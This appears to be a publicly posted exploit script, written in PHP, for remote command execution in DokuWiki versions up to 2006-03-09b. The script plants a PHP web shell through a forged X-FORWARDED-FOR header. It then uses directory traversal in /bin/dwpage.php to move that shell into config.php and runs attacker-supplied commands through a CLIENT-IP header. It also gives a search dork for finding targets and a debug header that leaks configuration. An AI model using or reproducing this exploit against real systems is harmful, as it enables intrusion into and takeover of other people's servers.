DokuWiki <= 2006-03-09brel /bin/dwpage.php remote commands execution Sep 07 2006 07:51PM
rgod autistici org
#!/usr/bin/php -q -d short_open_tag=on

<?

print_r('

------------------------------------------------------------------------
--------

DokuWiki <= 2006-03-09b release /bin/dwpage.php remote commands execution xploit

by rgod rgod (at) autistici (dot) org [email concealed]

site: http://retrogod.altervista.org

dork: "Driven by DokuWiki"

------------------------------------------------------------------------
--------

');

/*

works with register_argc_argv = On

*/

if ($argc<4) {

print_r('

------------------------------------------------------------------------
--------

Usage: php '.$argv[0].' host path cmd OPTIONS

host: target server (ip/hostname)

path: path to dokuwiki

cmd: a shell command

Options:

-p[port]: specify a port other than 80

-P[ip:port]: specify a proxy

Example:

php '.$argv[0].' localhost /wiki/ ls -la -P1.1.1.1:80

php '.$argv[0].' localhost /wiki/ ls -la -p81

------------------------------------------------------------------------
--------

');

die;

}

/* software site: http://wiki.splitbrain.org/wiki:dokuwiki

there are some shell scripts in /bin folder and there is no .htaccess to

protect it: most dangerous one is dwpage.php, if register_argc_argv = On

it allows to copy/move files among folders because of $TARGET_FN var

directory traversal, also you can inject a shell by main doku.php script

sending a malicious X-FORWARDED-FOR http header (but you could do the same

uploading some file in /data/media folder through /lib/exe/media.php...,

I choosed the first solution)

also, I noticed, you can disclose php configuration by

setting an http header like this calling the main doku.php

script:

X-DOKUWIKI-DO: debug

(debug feature is enabled by default...)

*/

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

}

return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "\r\n".$html;

}

$host=$argv[1];

$path=$argv[2];

$cmd="";

$port=80;

$proxy="";

for ($i=3; $i<$argc; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

//create /data/pages/suntzu.txt.lock and inject the shell code

$data="do=edit&rev=&id=suntzu";

$packet="POST ".$p."doku.php HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="X-FORWARDED-FOR: <?php set_time_limit(0);echo 'my_delim';passthru(\$_SERVER['HTTP_CLIENT_IP']);die;?>\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

sleep(1);

//copy /data/pages/suntzu.txt.lock to /data/pages/wiki/suntzu.txt

$packet="GET ".$p."bin/dwpage.php?-m+\"suntzu\"+commit+../data/pages/suntzu.txt.lock+
wiki:suntzu HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

sleep(1);

//copy /data/pages/wiki/suntzu.txt to config.php inside main folder

$packet="GET ".$p."bin/dwpage.php?-m+\"suntzu\"+checkout+wiki:suntzu+../config.php HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

sleep(1);

//launch commands...

$packet="GET ".$p."config.php HTTP/1.0\r\n";

$packet.="CLIENT-IP: $cmd\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

if (strstr($html,"my_delim")){echo "exploit succeeded...\r\n";$temp=explode("my_delim",$html);die($temp[1]);}

else { echo "exploit failed...\r\n";}

?>

original url: http://retrogod.altervista.org/dokuwiki_2006-03-09b_cmd.html

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